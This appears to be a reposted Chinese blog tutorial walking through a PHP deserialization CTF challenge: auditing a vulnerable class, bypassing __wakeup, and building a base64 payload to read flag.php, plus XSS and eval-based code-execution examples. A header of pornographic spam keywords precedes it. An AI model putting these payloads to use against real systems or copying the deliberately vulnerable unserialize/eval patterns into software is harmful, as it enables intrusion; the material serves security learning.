日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > php >内容正文

php

PHP反序列化CTF例题

發(fā)布時(shí)間:2024/1/1 php 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHP反序列化CTF例题 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

滲透學(xué)習(xí)

不安全的反序列化之PHP反序列化


文章目錄

  • 滲透學(xué)習(xí)
  • 前言
    • *本文只做學(xué)習(xí)用途,嚴(yán)禁利用本文提到的技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),本人不承擔(dān)任何責(zé)任。*
  • 一、CTF例題
  • 二、PHP反序列化漏洞和XSS跨站腳本
  • 總結(jié)


前言

本系列用于記錄本人滲透學(xué)習(xí)的過(guò)程,主要內(nèi)容圍繞Owasp TOP 10展開。

接上篇不安全的反序列化之反序列化基礎(chǔ)用簡(jiǎn)單案例接觸了PHP反序列化,但對(duì)該漏洞的利用和實(shí)際場(chǎng)景淺嘗輒止 。這篇將會(huì)用代碼審計(jì)的方式分析一道典型的存在PHP反序列化漏洞的案例,加深對(duì)魔術(shù)方法等相關(guān)知識(shí)的理解。另外,還會(huì)和xss跨站腳本的知識(shí)進(jìn)行融合。

本文只做學(xué)習(xí)用途,嚴(yán)禁利用本文提到的技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),本人不承擔(dān)任何責(zé)任。

一、CTF例題

學(xué)習(xí)案例

class SoFun{ protected $file='index.php';function __destruct(){ if(!empty($this->file)) {if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);else die('Wrong filename.');}} function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}} if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); } ?> #<!--key in flag.php-->

代碼審計(jì):
根據(jù)提示,key在flag.php中,而想要獲得文件中內(nèi)容,只能靠語(yǔ)句show_source(dirname (__FILE__).'/'.$this ->file);。
發(fā)現(xiàn)該題用到了__destruct等魔術(shù)方法,可以根據(jù)其性質(zhì)進(jìn)行漏洞利用(詳見上一篇文章)
常規(guī)思路是利用反序列化的方式POST"file"參數(shù)將讀取的文件從index.php替換成flag.php,然后利用__destruct的自動(dòng)執(zhí)行讀取flag.php中的內(nèi)容。
但是在反序列化執(zhí)行時(shí)會(huì)自動(dòng)執(zhí)行__wakeup,其作用是將文件再設(shè)為index.php
解決方案:
顯然我們需要利用一種方法繞過(guò)__wakeup方法,而當(dāng)序列化字符串中,表示對(duì)象屬性個(gè)數(shù)的值大于實(shí)際屬性個(gè)數(shù)時(shí),那么就會(huì)跳過(guò)wakeup方法的執(zhí)行。比如:
實(shí)際情況:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload對(duì)象屬性個(gè)數(shù)為2,而實(shí)際屬性個(gè)數(shù)為1,那么就會(huì)掉入漏洞,從而跳過(guò)wakeup()方法。
Payload
根據(jù)上篇文章所學(xué),易得反序列化語(yǔ)句為O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
值得注意的是,file是protected屬性,因此需要用\00*\00來(lái)表示,\00代表ascii為0的值。
此題還需要一次Base64編碼,結(jié)果為:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

該P(yáng)HP反序列化漏洞的案例其實(shí)來(lái)源于16年SugarCRM v6.5.23中
SugarCRM(http://www.sugarcrm.com/ )是一套開源的客戶關(guān)系管理系統(tǒng)。研究者發(fā)現(xiàn)在其<=6.5.23的版本中存在反序列化漏洞,程序?qū)粽邜阂鈽?gòu)造的序列化數(shù)據(jù)進(jìn)行了反序列化的處理,從而使攻擊者可以在未授權(quán)狀態(tài)下執(zhí)行任意代碼。
有興趣的可以點(diǎn)擊了解

二、PHP反序列化漏洞和XSS跨站腳本

當(dāng)嘗試序列化一段xss代碼的時(shí)候,當(dāng)它進(jìn)行反序列化的時(shí)候會(huì)自動(dòng)執(zhí)行xss

<?php$a="test"; //字符串$arr = array('j' => 'jack' ,'r' => 'rose'); //數(shù)組class A{public $test="<img src=1 οnerrοr=alert(1)>";}echo "序列化:";echo "</br>";$aa=serialize($a);print_r($aa);echo "</br>";$arr_a=serialize($arr);print_r($arr_a);echo "</br>";$class1 = new A(); //對(duì)象$class_a=serialize($class1);print_r($class_a);echo "<br/>";echo "反序列化:";echo "<br/>";print_r(unserialize($aa));echo "</br>";print_r(unserialize($arr_a));echo "</br>";print_r(unserialize($class_a)); ?>

執(zhí)行結(jié)果:

在__wakeup中一樣存在類似的漏洞:

<?php class A{var $test = "demo";function __wakeup(){echo $this->test;} } $a = $_GET['test']; $a_unser = unserialize($a); ?>

使用payload:O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}一樣會(huì)造成XSS攻擊

而如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代碼執(zhí)行則會(huì)造成更嚴(yán)重的后果。
比如:

<?php class A{var $test = "demo";function __wakeup(){eval($this->test);} } $b = new A(); $c = serialize($b); echo $c; $a = $_GET['test']; $a_unser = unserialize($a); ?>

構(gòu)造payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}即可獲得php內(nèi)置信息


總結(jié)

以上介紹了一道比較綜合的CTF題目對(duì)PHP反序列化漏洞有一個(gè)更清晰化的認(rèn)識(shí),這道題難度不算高,但對(duì)代碼審計(jì)能力有著一定的要求。

總結(jié)

以上是生活随笔為你收集整理的PHP反序列化CTF例题的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。